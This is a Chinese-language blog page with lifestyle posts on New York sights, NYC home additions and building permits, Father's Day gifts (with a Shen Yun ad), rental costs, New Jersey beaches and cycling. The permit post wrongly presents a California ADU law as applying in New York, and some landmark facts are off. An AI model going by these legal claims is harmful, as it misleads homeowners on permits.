标志性的帝国大厦高耸于曼哈顿上方四分之一英里处,每年吸引数百万游客前来欣赏广阔的景色。在晴朗的日子里,游客可以看到纽约、新泽西、康涅狄格、马萨诸塞和宾夕法尼亚。塔内有两个观景台,分别在86层和102层。两者都提供了令人印象深刻的观点和关于该建筑广泛历史和重要性的有趣事实。帝国大厦已经出现在 250 多部电影中,并被评为“美国最受欢迎的建筑”。每天上午 9:30 至午夜开放,门票可在柜台或网上购买。

3.中央公园 Central Park

中央公园可以说是世界上最著名的公园之一,是一个人造奇迹。它不仅是美国第一个建成的公园,而且还是游客最多的公园之一,每年有超过 2500 万游客。

它坐落在繁华的曼哈顿中心,占地 840 英亩,是丽城城堡、中央公园动物园和许多其他景点的所在地。该公园拥有 6 英里的铺砌道路,仅对慢跑者、骑自行车者以及滑板和直排轮滑者开放。人们可以在其场地上度过一整天宁静的时光,凝视近 50 座喷泉、纪念碑和雕塑,或欣赏其 36 座桥梁和拱门。

娱乐设施比比皆是,精力充沛的人可以来这里滑冰、踩踏板、划船、运球或攀爬等。

4.时代广场Times Square

时代广场每年有超过 3900 万游客,是世界上访问量最大的旅游景点。这个商业路口明亮的灯光和大城市的感觉使这个地方成为“世界的十字路口”。今天,时代广场是世界娱乐业的主要中心。一年一度的新年前夜抛球活动始于 1907 年,一直是广场魅力的主要内容。购物、娱乐和众多餐厅为各种类型的游客提供了许多活动和选择。这是纽约市之旅不容错过的地区。

5.布鲁克林大桥Brooklyn Bridge

布鲁克林大桥建于 1869 年至 1883 年之间,是世界上最古老、最知名的悬索桥之一。它跨越 5,989 英尺,横跨东河将曼哈顿与布鲁克林连接起来。每天有超过 120,000 辆汽车、4,000 名行人和 2,600 名骑自行车的人过桥。这座桥的游客可以步行、开车或骑自行车穿过这座著名的纽约市地标。人行道位于交通上方,游客可以在那里欣赏海港和两个行政区的景色。穿过这座桥 2 公里(1.3 英里)的漫步提供了许多欣赏纽约天际线的机会。

6. 第五大道Fifth Avenue

第五大道被评为世界上最昂贵的购物街之一,是追求奢华的游客的首选目的地。穿过曼哈顿中城第 49 街和第 60 街之间的第五部分,两旁是高端商店,包括设计师陈列室和著名的百货公司。上东区第 82 至 105 街之间的第五大道部分被称为博物馆大道。九个博物馆位于第五大道的这一段,包括古根海姆博物馆和大都会艺术博物馆。

7.洛克菲勒中心Rockefeller Center

曼哈顿中城著名的洛克菲勒中心是纽约市的装饰艺术地标。洛克菲勒中心占地 22 英亩,拥有 19 座纽约商业建筑,是纽约市最受欢迎的景点之一。洛克菲勒中心全年都是美丽的纽约目的地,是众多纽约活动的举办地,包括著名的洛克菲勒中心圣诞树的灯光秀,每年都会在世界各地的电视上直播。

洛克菲勒中心建于 1939 年,是纽约著名商人和慈善家约翰·D·洛克菲勒 (John D. Rockefeller) 的愿景。洛克菲勒中心拥有宁静的雕像和美丽的新艺术风格壁画,也是纽约市艺术爱好者的热门目的地。曼哈顿中城的洛克菲勒中心拥有丰富的历史和文化,是首次来纽约市的游客必看的纽约景点。

8.中央车站Grand Central Terminal

中央车站被称为“世界上最可爱的车站”,是纽约市的顶级旅游景点之一。位于曼哈顿中城的历史悠久、举世闻名的地标不仅是一个交通枢纽,还是一个购物、餐饮和文化胜地,拥有 60家商店、35 个 餐饮 场所和一系列 活动,所有这些都在一个宏伟的屋檐下。

中央车站是该国最伟大的建筑成就之一,也是纽约市的非官方聚会场所,成千上万的人选择“准时与我会面”——每天在蛋白石面的主大厅信息亭与朋友和亲人会面.

这座大教堂般的建筑被誉为日常通勤者的圣殿,是为了纪念您,它的访客而建造的。

9.高线High Line

高线公园是一个公共公园,建在一条历史悠久的货运铁路线上,高出曼哈顿西区。高线公园于 2009 年作为一个混合公共空间开放,游客可以在这里体验自然、艺术和设计。每个月都有新的有趣和多样化的活动供游客参观。其中包括观星、树木之旅和艺术之旅以及特定季节的活动,例如 10 月的 Haunted High Line 万圣节。公园的一些景点包括自然种植和哈德逊河的壮丽景色。高线公园还通过建筑和艺术装置将文化景点融入其设计中。

高线公园沿着曼哈顿西侧的 Meatpacking 区和切尔西绵延 1.45 英里,是纽约最新、最具创新性的绿地之一。该公园是沿着一条现已废弃的高架铁路建造的。原始轨道沿路径仍然可见。高架线高出地面 30 英尺,在建筑物之间穿梭,提供城市和哈德逊河的景色,令人眼花缭乱,亲密无间。

10.9 月 11 日纪念September 11 Memorial

国家 9 月 11 日纪念碑是为了纪念在 2001 年 9 月 11 日恐怖袭击中丧生的人而建造的。死者的名字刻在纪念池两侧的两块青铜板上。每个水池都有近一英亩的大小,并标志着曾经矗立在该地点的双子塔的足迹。国家 9 月 11 日纪念博物馆通过多媒体展示、档案、叙述和一系列文物向公众宣传袭击的影响。

 

 

 

 

 

 

 

 

 

2021-06-15 / by / in , , ,
美国纽约房屋加建改建最全解析(347-905-3245)|纽约房屋扩建改建的规定要求|纽约房屋加建改建的流程|纽约建筑许可证申请(building permit )
文|无疆行者

在纽约的华人社区,很多的朋友在买了房屋以后,希望能够增加房屋的价值,或是增加这个房屋的空间。可是往往会因为违规的加建或是改建,被政府相关机构处罚,遭受了很大的损失。本文详细介绍一下有关纽约房屋加建和改建的规定、流程、要求和一些常见的问题。

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    顺达装修公司,有近二十年的装修工程历史,主要从事室内外大小 工程装修,为人厚道,技术精良,精益求精,我们装修团队成员,都真诚对待每一个客户,在保证质量完美的前提下,力求高效快捷,让客户满意、放心、安心,是我们公司追求的永恒目标。

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纽约房屋加建的形式

从2017年1月1日起,美国开始实施SB-1069法案(附属居住屋,简称”ADUs”)法案,让拥有独立屋的居民可以合法的在自家土地上进行加建或改建,也就是合法增建一个有必要生活设施的第二居住单位,或充分利用既有的空间,改造成一个附属可居住的单位。ADU的建筑面积最小是150平方英尺,最多可以达到1200平方英尺。

纽约房屋加建有三种形式

1.独立式加建

加建的单位与主体建筑是脱离开的,独立于主体建筑之外。也就是说你可以脱离主体建筑,在你的后院儿,加建一个最大不超过一千两百尺的独立的居住单位。

2.连接式加建

这是主流的常规的一种加建模式。就是在主体建筑物的前后,或者是两侧,只要空间足够大,可以做一个连接式的加建。加建单位与主体建筑是完全连接,包括屋顶。

3.套建、改建

在法规允许的情况下,把车库改建成居住单位,或是把一个主卧改建为一个独立居住的单位。

在纽约决定房屋是否可以加建的三个因素

在纽约一栋房屋到底能不能够加建,是和纽约的住宅用地的规划有密切的关联。民众如果想了解自己的房屋有没有加建和改建的可能性呢?可以去纽约楼宇局网站(www.nyc.gov/html/dob)和纽约规划局的网站(www.nyc.gov/html/dcp)查询。

决定房屋能否加建的三个因素

第一个因素就是你要了解你所拥有的这块土地上的最大的建筑面积。通常占整个土地面积的百分之五十到百分之八十五之间。 比如说你有一块地是四千平方英尺。如果政府规定最多能够建设的这个房子,整个建筑面积,是整个土地的百分之五十的话。也就是说你这个房子最多能够建设到两千平方英尺,如果你已经有了一千五百平方英尺的话,那么就只有五百平方英尺的加建空间。

 

第二个因素,允许房屋建到的最大高度(控高要求)。在纽约对于围墙的高度和屋顶的高度都有具体的规定,这两个高度决定了你这个房子有没有向上加建的可能。

第三个因素,房子周围所必须留出的边距。 房子周围所要留出的空间也有规定。这些空间包括了你必须留出的停车位置,你这个房子离马路的距离,以及邻里之间的一些间距。加建的建筑必须要能够留出相应足够的边距。

纽约房屋改建的有关规定

在纽约要想对房屋进行改建,最需要注意就是要查看一下纽约楼宇局颁发的房屋使用说明书(CO),对房屋各空间的用途、实际的功能都有明确的规定。在改建的时候,要向楼宇局进行申请。

纽约房屋常见的三类改建

第一种就是通过改建,改变房屋的用途。比如说有些房子是住宅房,但一楼把它改建成了商业的用途。

若改建成医生诊所或是托儿所之类的,这些并非纯商业,它也是属于社区公共服务范畴。这类改建的申请相对比较容易。

第二种改建,就是在家庭数量上增加,比如说把一家庭改成两家庭或多家庭。

第三种改建,就是把已有的某个空间结构进行改建,比如把车库改建成别的用途的屋子,或者是把地下室进行改建。

车库、地下室和阁楼的改建都有具体规定

很多的民众买了房子以后,这个房子有地下室啊,有阁楼,有车库,像这样的空间,到底能不能通过改建,成为一个住房呢。

这些改建要非常的谨慎,因为很有可能会造成违章。比如车库,在纽约,车库通常不算在房屋的建筑面积当中,但是把车库改建成了一般的房间的话,这个房间是算在最终建筑面积当中,那就有可能是你已有的建筑面积,超过了这块土地的最大建筑面积,那么就造成了违章。

还有,在每块土地上的房屋,都有停车位的规定。比如说在这个土地有两家庭,要求有两个停车位,但是如果屋主随意的把这个车库改成了房间的话,就流失了停车位,这样也会造成另一种违章。

地下室的改建也是很常见的。地下室实际上有两类,一种是传统说的地下室Basement,还有一个是地窖Cellar。 basement 通常可能有百分之五十左右高出地面,在地面以上,它的通风和采光相比较起来好一点。Cellar全部是在地下,所以一般只用于储藏使用,它的采光通风都是比较差的,就是不适合人居住的这么一个环境。

在纽约市,对人居住条件的这些场所呢要求是非常严格的。特别是在通风采光这些地方都是有非常高的要求。所以很多时候这个地下室或者是地窖并不能够符合这些要求。

有些朋友会认为自己的这个地下室有这个采光和通风的条件。但是你如果真正要改建成住家对外出租,必须要通过房屋局的批准。

纽约房屋加建改建的流程

一、查看房屋测量图和建筑图

房屋的测量图会标注房屋和周围的各个地界的各种间距和空间,就是房屋已经留出的边距。而从建筑图上可以大致的计算出房屋已有的这个建筑面积以及高度。了解了这些因素以后,就能大概的知道这处房屋是否有加建和改建的可能性。

二、请专业的工程师(建筑师)设计图纸

当确定了这处房屋可以进行加建或是改建, 下一步应该请一个专业的工程师或者建筑师进行图纸设计。同时请石棉报告的专员进行石棉的检验。

三、然后把石棉报告和房屋设计的图纸送交楼宇局进行审批。从设计图纸到楼宇局审批通过,一般约为二到四周。

四、如果审批都通过的话,那就可以找专业的,就有执照的这个装修队、水喉工、电工去申请各自的开工纸,当拿到开工纸以后,就可以进行加建和改建的这个工作了。

五、如果整个流程顺利,等到建设完工以后,再请建筑师和工程师进行设计图纸和完成的工程进行比对、验收。并由他们预约楼宇局进行最后的审核。然后楼宇居会颁发一个新的房屋使用说明书(CO)。

纽约加建改建 要申请房屋建筑许可证(building permit )

在美国加建、改建和扩建,都必须申请房屋建筑许可证申请(building permit ),这至关重要,如果不申请许可证就开工,除了可能会有罚单之外,一旦发生装修事故,屋主要承担责任,也不容易向保险公司索赔。

纽约房屋加建改建的常见问题

房屋加建ADU以后地税要上涨吗?

房屋加建以后,新的建筑面积是最后计算在土地总建筑面积内,地产会升值,地税也会提高。

ADU加建的条件是什么?

原则上只要是独立地权上面的独立房屋都有机会进行ADU加建。但是能否得到审批,也要看相关的法律法规条文,要符合容积率、控高、退界、地面覆盖率等规定。

我家的阁楼可以改建成住房出租吗?

阁楼能否改建成住房或是出租给别人,最主要的是要看这个房屋的使用说明书(CO)。有些是标注阁楼是允许居住的。也有很多的阁楼,他的(CO)上面明确表示只能作为储藏用途或者是其他一些用途,那就无法出租给别人。

加盖的建筑要离围墙多远?

ADU的建设需要满足场地的退界,这个跟普通的加建要求是一样的。常规情况下居住单位的前退界需要满足20尺以上,后退界一般是15尺以上,而左右退界一般是5尺以上。

加建的房屋,高度有规定吗?

ADU的建设需要满足房屋的控高要求。一般情况下民宅采用木结构的不得超过3层,高度一般不得超过45英尺。有些地方的控高是25尺,那就只能是做两层建筑了。

加建ADU的优势是什么?

ADU的重大优势是没有单独买地的费用,同时ADU也不需要申请单独的公共事业配套如水电煤等,这些也极大地节约了施工费用。单独买一栋房子也不容易申请贷款,在财务上的成本是不言而喻的。

纽约装修房子是否都要经过房屋局的审批?

从原则上来讲,房屋任何大的改动都需要经过房屋局的审批。 一些小的改动,或者只是是换换瓷砖,换换木地板、粉刷墙壁,这些不需要经过房屋局的审批。

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2021-06-13 / by / in , , , , ,
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2021-06-12 / by / in
父亲节送礼必看6类礼物 小编超推一礼物|养生父亲礼|暖到心坎礼|实用高级礼

永远不要忘记你的父亲,你还在牙牙学语时那个把你高高举过头顶的人、那个教你骑自行车的人,那个为了孩子美好的未来可以付出自己所有的人,那个你认为全世界最棒、最帅、最聪明、最善良的人,那个时刻都在为你遮风挡雨、撑起一片天却从不求回报的人。用父亲节礼物稍稍表达儿女心意,让父亲知道您没有忘记这个重要的节日。

父亲节就快要到了,你可以向父亲表达发自内心的感恩,一定不要错过这个机会哦~

全世界大部分国家的父亲节,包括美国、日本、欧亚、港澳等这些地方,都是在6月的第3个星期天,而在台湾,父亲节是订在8月8日,因为是取了「爸爸」的谐音。

本文小编盘点6大类型超赞的父亲节礼物,希望能对各位小伙伴在选购父亲节礼物时有所帮助。

养生健康类型:

父母亲拥有健康的身体,是做子女的心愿也是一种福气。选购这种类型的礼物可以考虑自动泡脚桶、家用按摩椅、家用血压仪、护肝片等。

家用血压仪

对于上了年纪的爸爸们,血压是非常需要关注的。很多老年人不愿意定期去医院体检,觉得自己没啥毛病,有去体检就是给自己添堵的想法。买一台家用血压仪就可以少一些顾虑~

泡脚桶

泡脚真的是一个又实用又最便宜还能放松身心的好产品!给爸爸送上一个带按摩的泡脚桶,非常减压助眠!

家用按摩椅

人久坐久站或是精神压力大,都容易使全身肌肉僵硬,若家中拥有一台按摩椅,只要一回家就能立即享受全身按摩,摆脱一整天的紧绷和疲劳。

可按摩、舒缓肌肉的器具,平时爸爸们想必会舍不得或认为没有必要购买,收到的话会格外开心。

这类产品还可以考虑韩国的太极参、生蜂蜜、护肝片都非常的不错,能增加人体所需微量元素,还有预防感冒、提高免疫力的功效。

运动类型:

运动服饰

有户外运动的习惯的爸爸,可以考虑送给他荧光色系的运动服饰,或是快干的运动衣,运动起来更加清爽舒适。

带荧光色的服饰,在晚上出去散步的时候更有安全性。

经常运动的人鞋子的磨损都很大,鞋底的减震防滑效果都会减弱,所以送一双运动鞋是不错的选择。Nike的跑步鞋比较时尚,安德玛的运动装备舒适度更好一些。

运动手环

运动手环已经是很多喜好运动的男士必备的电子产品了,相信对于爱户外爱运动的爸爸们也同样适用,完全不分年龄,只要下载好软件,透过蓝牙与手机连接便可以与app 同步,在装置上监测心率、计步数、里程检测、卡路里消耗等适合一般运动的功能,除此之外还有睡眠监测、拍照、来电/信息显示震动提醒、久坐提醒的辅助功能⋯⋯

跑步机

 

 

对于有饭后散步习惯的人来说,买跑步机就完全不用担心天气好坏了,宅在家里也能运动起来。

有一些跑步机,亚马逊会送免费安装,可以上网查一下,现在也出了很多折叠型的,完全不占地方。

温馨暖心型:

小编强烈推荐,请最爱你的爸爸去看一场神韵演出,相信我,他一定会感动的不行不行的。

美国神韵艺术团是全球顶级中国古典舞与传统音乐艺术团,是全世界华人的骄傲,被誉为“一生必看的演出”。世界各地最知名的演员、时尚界的先锋人物、政府要员、皇室成员和社会名流都曾躬逢神韵演出的盛况,表达他们对神韵的最高赞美之词。

神韵每年推出一套全新的节目,在世界一百多个城市的顶级剧场演出,如纽约的林肯中心、华盛顿DC的肯尼迪艺术中心、伦敦大剧院等。

为了观看神韵演出,每年都有不少人从其它国家、从其它州乘飞机前往演出所在的城市观看;有人驱车几百英里前去观看;有的观众看完一场再看一场,意犹未尽;有的观众携家带口、全家出动;有的观众把神韵的门票当作最好的礼物,赠送给自己的亲朋好友,一同分享⋯⋯

神韵原本每年在全美各大城市上演,但去年因为新冠疫情缘故停演至今。现在,神韵艺术团即将在6/26-27 在康乃狄克州的派雷斯剧院(61 Atlantic St, Stamford, CT 06901)展开2021年首场演出,带您重回神州大地、五千文明,现场有交响乐团演奏全原创伴奏音乐、最先进的专利投影技术,当然还有绝美的原创舞蹈与服饰,不仅触动华人朋友的心灵,连各种族族裔的观众都赞不绝口、大力推荐!

电话订票:888-90-SHOWS

演出信息:https://www.shenyun.com/stamford

展示厨艺,筹备晚餐美食

在父亲节如果你能够亲自下厨,给爸爸展示一手你的厨艺,炒几个他爱吃的家常菜,那也是一件让人非常暖心的事哦~

全家人其乐融融聚在一起,品尝你做的美食,温馨又柔美的画面⋯⋯

商务类型:

如果你的爸爸是业界精英,送给他好品质的西装、领带、皮鞋或是皮带,都是不错的选择。

是自己的儿女送的,穿戴出去非常的有面子~

皮鞋或皮带建议选择牛皮的材质,耐用性更强;颜色的话选择棕色或者黑色都非常的百搭。

小众实用型:

刮胡刀

刮胡刀是成年男性的生活必需品,如果你父亲的刮胡刀已经使用多年,不妨在父亲节这天为他挑选一个耐用又实用的新款式的刮胡刀。德国百灵 BRAUN 是世界知名的男用家电品牌,这款刮胡刀可快速充电,抓握起来非常顺手,优质刀头十分锋利,高强度的防水设计,淋浴时剃须也很方便!

电动牙刷

俗话说“牙疼不是病,疼起来真要命”。年龄一大,有很多人的牙齿就会出现状况。送一支电动牙刷,或者家用冲牙机对预防各种牙周疾病都很有效!

如果你的爸爸也很爱刷手机,送一个防蓝光的眼镜准没错!日常生活都离不开各种屏幕,稍不注意眼睛就容易疲惫,买带防蓝光功能的眼镜能更好帮助护眼~

兴趣爱好类型:

茶具

 

如果你的父亲喜欢饮茶,那给送给他一套精美的茶具,当然就是适合的礼物了。坐在旁边喝一口他泡出的好茶,感觉会非常的不错~

摄影配件

对于爱好摄影的爸爸们最简单直接地就是送镜头!喜欢自然风光就给他们配长焦镜头,喜欢人物就买定焦50 F1.4~。听老爸经常嘴里说缺少哪一颗镜头、少哪一个焦段,买那一颗,就对了!

钓鱼渔具

钓鱼也是很多爸爸们的周末爱好,十分修身养性。现在很多渔具都很高大上,设计材料都很讲究,不妨替自己的爸爸做做功课,买一个他理想的渔具。

看完以上的内容,有没有受到一些启发呢?一年一度的父亲节是感恩的日子,希望各位能为父亲挑选到趁心如意的父亲节礼物,都能度过一个愉快的父亲节。

2021-06-10 / by / in , ,
美国租房|签署租约|承租人需要支付的费用详解

文|雨荷

在美国租房, 很多人低估了租房的真实成本。如何为每月租金支付的费用做预算。  每个承租人都了解,除了支付租金外,还需要将其他费用纳入预算。租房者在决定住在哪里时,需要考虑入住成本、保证金、一次性费用、经常性费用和公用事业费用等项目。

预租

预计在签署租约时向房东支付第一个月的租金,也可能支付最后一个月的租金。这可能

看起来像很多钱,但请记住,您的租约即将开始,因此无论如何您都需要开始支付月

租。此外,如果您在签署租约时欠第一个月和最后一个月的租金,则您已经支付了年租

金的 1/6(12 个月中的两个月),因此您只需支付一年租约的剩余月份到期。

签署租约 示意图。

保证金

各州房东可以从租房者那里收取的押金金额各不相同。您应该支付的最高金额是相当于

一两个月租​​金的金额。如果您没有对您的公寓造成任何超出正常磨损的损坏,您的房东

应在您的租约结束后将全部押金退还给您。许多州要求房东将租户的保证金存入一个计

息账户,这意味着您应该期待您的押金加利息。(不要忘记,作为您收入的一部分,这

笔利息在您收到它的那一年应纳税。)

保证金 示意图。

经纪费

如果您使用经纪人来购买您的公寓,那么现在该经纪人的费用已到期。确保您从一开始

就知道经纪人将收取多少费用,最常见的金额等于一年租金或一个月租金的 10%,但可

能会有所不同。

经纪费 示意图。

搬家费

几乎每个租房者都需要支付一些搬家费用。无论是聘请专业搬运工、租一辆卡车,还是

带一群朋友出去参加小型货车和努力的感谢晚宴,您都需要支付一些费用才能将所有东

西运到您的新地方。

搬家费 示意图。

场外仓储费

如果您无法将所有物品放入新居所,而且亲戚不太愿意让您将物品存放在他们的车库或

阁楼中,那么使用场外自助存储设施是一个合理且受欢迎的选择。这些设施通常按月收

费,具体取决于您需要的存储空间大小。

场外仓储费 示意图。

其他费用

您的房东可能会收取其他项目的费用或押金,这些可能会在您的租约到期时退还给您。

例如,如果您支付宠物押金,您可能会被允许在您的公寓中饲养宠物,每只宠物的押金

可能在 100 美元、200 美元甚至 500 美元左右。此类押金旨在帮助房东为您的宠物造

成损坏的情况支付费用。

2021-06-10 / by / in , , , , ,
夏季旅游好去处–新泽西的七个隐藏海滩

如果您想避开最繁忙的海滩,不妨尝试一下新泽西州最令人喜爱的7个隐蔽海滩。经验丰富的沙滩爱好者知道这些沙滩的每一个角落和细节。

大西洋郡(Atlantic)的布里根廷(BRIGANTINE)

绕过繁华的大西洋城,穿过亚伯塞孔湾(Absecon Inlet)上的布里根廷大桥(the Brigantine Bridge),您就进入这个节奏较慢、有点隐蔽的岛屿城市了。在布里根廷的南端,有两个海滩区域,即海湾(the Cove)和码头(the Jetty),吸引了不少冲浪爱好者和垂钓者。

对于喜爱晒太阳的游客来说,布里根廷安静的海滩提供了足够的空间。布里根廷海堤是位于岛屿北端的一条六街区的人行道,其海滨长椅欢迎每一位游客的到来。在这一地带,有充足的停车位,您也可以在海滩上遛狗。喜欢航海的人可以使用位于第五街的免费船坞。高尔夫爱好者可以在18洞的布里根廷高尔夫球场(Brigantine Golf Links)打上一局。

您还可以在布里根廷历史博物馆(Brigantine Historical Museum)和邻近的海洋生物博物馆(Sea Life Museum)了解到更多有关该岛的信息。海洋生物博物馆里还有一个小型礼品店和海洋哺乳动物搁浅中心(Marine Mammal Stranding Center)的展览区,该博物馆旨在拯救和康复海洋生物。在博物馆外面,游客们经常停下来给布里根廷灯塔拍照,在探索过程中,您还可以参观唐娜-埃利亚斯(Donna Elias)的布里根廷海滩画廊和礼品店(Brigantine Beach Gallery and Gift Shop)。这位大西洋城人以她的沿海绘画而闻名。

每周六上午在布里根廷小学的停车场有农贸市场对外开放,无论刮风下雨,商贩们都会出售各种新鲜的农产品、其他当地食品以及自制产品。

晚餐可以去意大利餐厅Andre’s Wine Bar & Grill享用,或者去以海鲜为主的海湾餐厅(Cove),那里备有寿司菜单。晚餐后还可以在里奇曼冰激凌店(Richman’s Ice Cream)享用甜点,然后在海滩上漫步看落日。您和您的家人会在此度过难忘的一天。

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对于喜爱晒太阳的游客来说,布里根廷安静的海滩提供了足够的空间。(Wiki公共领域)

开普梅郡(Cape May)的希格比海滩(HIGBEE BEACH)

希格比海滩位于树木茂盛的沙丘后面,是个远离尘华、人迹罕至的地方,真的非常隐蔽,距离开普梅的海滨约4英里。事实上,要想到达这个位于特拉华湾(Delaware Bay)的僻静海滩,需要走过一条穿过树林的沙路。

希格比海滩主要吸引自然爱好者,此海滩以观鸟闻名。有小孩的家庭会被平静的海湾水面所吸引。喜爱养狗的人可以在此遛狗。在北端,一个长长的防波堤是一个最受欢迎的钓鱼地点。码头标志着通往开普梅运河的入口。开普梅-刘易斯渡轮(the Cape May-Lewes Ferry)整天来来往往。

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希格比海滩位于树木茂盛的沙丘后面,远离人迹罕至的地方,隐蔽而幽静。(Wiki公共领域)

海洋郡(Ocean)的霍尔盖特 (HOLGATE)

在长滩岛(Long Beach Island)的最南端,一条人迹罕至的小路的两边主要是长滩镇(Long Beach Township)的住宅区。离霍尔盖特离繁华的海滩港只有几分钟的路程,在晴朗的日子里,光是大西洋城天际线的美景就值得你开车(或骑车)去观赏。

更加令人陶醉的是,可以去一家家族经营的鲍克南海滩烧烤店(Bowker’s South Beach Grill),吃一顿晚早餐或休闲午餐。这是霍尔盖特海滩唯一的餐饮店和市场,熟食店的热卖包括三明治(Hoagies)、奶酪牛排(cheese steaks)以及可以说是岛上最好吃的培根蛋和奶酪贝果(bacon-egg-and-cheese bagel)。这家烧烤店在劳动节(Labor Day)期间每天营业,还顺带出租皮划艇和站立式桨板,并出售沙滩椅、毛巾和遮阳伞等物品。

霍尔盖特的海滩交通方便,而且比长滩岛的热点地区安静得多。夏季有救生员值班,而且需要佩戴海滩徽章。在长滩大道南端的停车场有大量的停车位以及洗手间。

长滩岛下午时分海滩的浪潮。(wiki 公共领域)
长滩岛下午时分海滩的浪潮。(wiki 公共领域)

开普梅郡的北野木林(NORTH WILDWOOD)

您很难想像北野木林除了喧闹之外还有什么,但如果您冒险到著名的游乐园码头以北,您会发现那里的噪音会大大减少。北野木林的海滩是五英里岛(Five Mile Island)的一个比较低调的地区,迎合了那些更愿意同朋友和家人一起享受休闲时光,而不是与木板路上的人群共享刺激的游乐设施的游客。

在享受阳光和冲浪之后,大量的游客就会成群结队地涌向奥尔德新泽西大道(Olde New Jersey Avenue)的餐饮区。今年夏天,这三个街区的路段禁止车辆通行。可以在弗洛兹海滩酒吧烧烤店(Flip Flopz Beach Bar & Grill)、海湾餐饮(The Inlet)和北美烧烤(North End American Grill)等餐馆用餐,快乐时光菜单、露天庭院和人行道餐桌比比皆是。此外,还有爱尔兰的常年酒吧,基南酒吧(Keenan’s)和安格尔西亚(Anglesea)酒吧。

今年夏天,奥尔德新泽西大道的特别活动包括7月9日至11日的新泽西州烧烤锦标赛(New Jersey State Barbeque Championship)和安格尔西亚蓝调节(Anglesea Blues Festival);以及7月1日、15日、29日和8月12日的食品卡车节。

另一个当地的地标,就是毛伊热狗餐馆(Maui’s Dog House),提供德式热狗和配菜,有近30种配料。如果想获得真正隐秘的饮食体验,可以试试冲浪猪(Surfing Pig),这是一家隐藏在海滩溪的休闲海鲜烧烤店。

北野木林的另一个亮点是历史悠久的赫里福德湾灯塔(Hereford Inlet Lighthouse),这座灯塔建于1874年,是当时被称为安格莱西亚(Anglesea)的第一个建筑。这座灯塔仍然被用作导航辅助工具和博物馆。在灯塔后面,有一条通往海墙的通道,这是一条1-1/4英里的小路,可以散步、跑步和钓鱼,还可以看到壮观的海景。如果您向右转,漫步几个街区,会遇到卢-布斯露天剧场(Lou Booth Amphitheater),在7月1日至9月18日将在此举办星空下的免费音乐会。这里有成排的长椅可供就坐。

蒙茅斯郡(Monmouth)的波帕莫拉点(POPAMORA POINT)

这个位于桑迪胡克湾(Sandy Hook Bay)的半月形海滩只有1,600英尺长,提供了隐私和令人惊讶的良好设施。波帕莫拉点位于海滨小村庄高地海岸路(Shore Drive) 的西端,是免费的,而且从不拥挤。海滩上有一个免费停车场,甚至还有一个公园小屋,里面有干净的厕所和户外淋浴。这个平静海滩非常适合有小孩的家庭。从海滩上可以看到曼哈顿(Manhattan)和维拉扎诺-纳罗斯桥(the Verrazzano-Narrows Bridge)的远景。缺点是,沙子上有碎贝壳,海湾底部有岩石。建议游客穿水鞋。该海滩就在亨利-哈德逊(Henry Hudson Trail)小道旁,这是一条维护良好的自行车、步行和跑步路径,与北面两英里处的大西洋高地相连。

海洋郡的海滨公园(SEASIDE PARK)

海滨公园是邻近海滨高地的一个平静海滩。海滨公园主要景点丰镇码头(Funtown Pier)在2012年遭到超级风暴桑迪(Superstorm Sandy)的摧毁,并在第二年木板路又被一场火灾烧毁。

在丰镇海滩的码头旧址成立了一个私人自带酒水(BYOB)的海滩俱乐部,为游客提供一个更加隐蔽的海边体验。平时每天的门票是10美元,周末是12美元,还有小木屋可供使用。您也可以购买每周或季节性通行证。

海滩游客还可以在海滨公园的公共海滩上享受冲浪和阳光,该海滩从旧码头区向南延伸了约40个街区。离开沙地,海滨公园重建的木板路提供了足够的乐趣,可以让家人在这里度过几个小时。海滨公园锯木厂(The Sawmill)自1977年以来一直是当地的地标,标志着海滨公园海滨的北端。锯木厂以其巨大的比萨饼而闻名,并提供一份完整的菜单和一个海滩酒吧。附近还有更多的木板路食品,如公园海鲜(Park Seafood)、费城椒盐卷饼厂(Philly Pretzel Factory)、普拉亚碗(Playa Bowls)、库尔的原汁原味(Kohr’s the Original)、三兄弟比萨店(Three Brothers Pizza)以及海滩卷饼(Beach Tacos)。

对于年轻人来说,木板路有五个儿童游乐设施,一个水枪游戏,一个小型娱乐中心,里面有滑轮球比赛和互动游戏,还有现场一掷千金(Deal or No Deal)游戏。

开普梅郡的斯塔斯梅尔(STRATHMERE)

斯塔斯梅尔位于路德兰岛(Ludlam Island)的北端,在海洋城和海岛城(Sea Isle City)之间。这是一个经常被忽视的海滨社区,人口仅有158人。该海滨社区拥有一个罕见的免费海滩,有救生员值班,还有免费的街道停车位。这是一片从科森湾(Corson’s Inlet)到汤森湾(Townsends Inlet)的七英里长的地域,占地不到一平方英里。因此,它缺乏一个木板路和公共厕所。

沿着斯塔斯梅尔湾的桥向南行驶,您会在右边看到历史悠久的多维尔旅馆(Deauville Inn),那里是观看日落的最佳地点之一。您还可以在Twisties Tavern on the Bay欣赏海湾景色,这是一家悠闲的酒吧和海鲜餐厅,营业时间不固定。最好提前查询以确保其营业。

在斯塔斯梅尔南端高高的沙丘后面,有一段叫做鲸鱼海滩 (Whale Beach)的地方,它的名字来自于定期在那里游玩的鲸鱼。这个区域没有救生员巡逻,所以这里的人群更加稀少。而且停车位有限。

斯塔斯梅尔的魅力就是让人一看就知道是个难得的放松的地方,可以避开繁忙的都市和喧闹的环境。◇

STRATHMERE
斯塔斯梅尔位于路德兰岛(Ludlam Island)的北端,在海洋城和海岛城(Sea Isle City)之间。人口仅有158人,有免费海滩,有救生员值班,还有免费的街道停车位。(loc.gov)
2021-06-09 / by / in , ,
骑自行车的10大乐趣,你属哪一种?

文/Coco

美国是一个自行车十分流行的国家,骑游是最时尚普及的运动方式之一。很多人骑自行车是源于健身和爱好,而不是日常生活的代步工具。骑自行车运动以它独特的魅力,受到无数人的青睐,无论男女老幼,也不分做什么职业。美国人不但爱骑车,而且骑车人数众多。特别是疫情过后,有一半美国人打算花更多的时间骑车,种子和自行车也成了Top热销货。

现下又是一个骑车游玩的好时节,起个大早,悠闲地骑行在青山绿水之间,呼吸大自然的空气,看看道路静静延伸,阳光倾泻,听听虫鸣鸟叫,享受清风拂面的感觉,真是“骑”乐无穷啊!

下面我们来看看,骑自行车给我们带来的10大乐趣,你属哪一种?

1.增进人际关系

换一个环境,换一种心情。骑行途中,会遇到很多人很多事,有人会善意的看着你,对你微笑打招呼。这种人与人之间的友善会让人心情愉快;等红绿灯时,和身旁车友小聊几句前方的路况;休息时夸一下新骑友的太阳镜,互动可以带来快乐和传递快乐;和车友一起团骑比自己单骑更有趣,挑战一下车友,随着超越时的一声Whistle,扬扬下巴丢下一抹得意洋洋,好开心!骑乘会遇到大风大雨的天气或突发状况,无论帮人或被人帮助都是不错的经历,来自陌生人的善意,会让人感到温暖快乐,也许你会收获一个新友,成为一天的点睛之笔。

                                               欣赏美景会让人心旷神怡

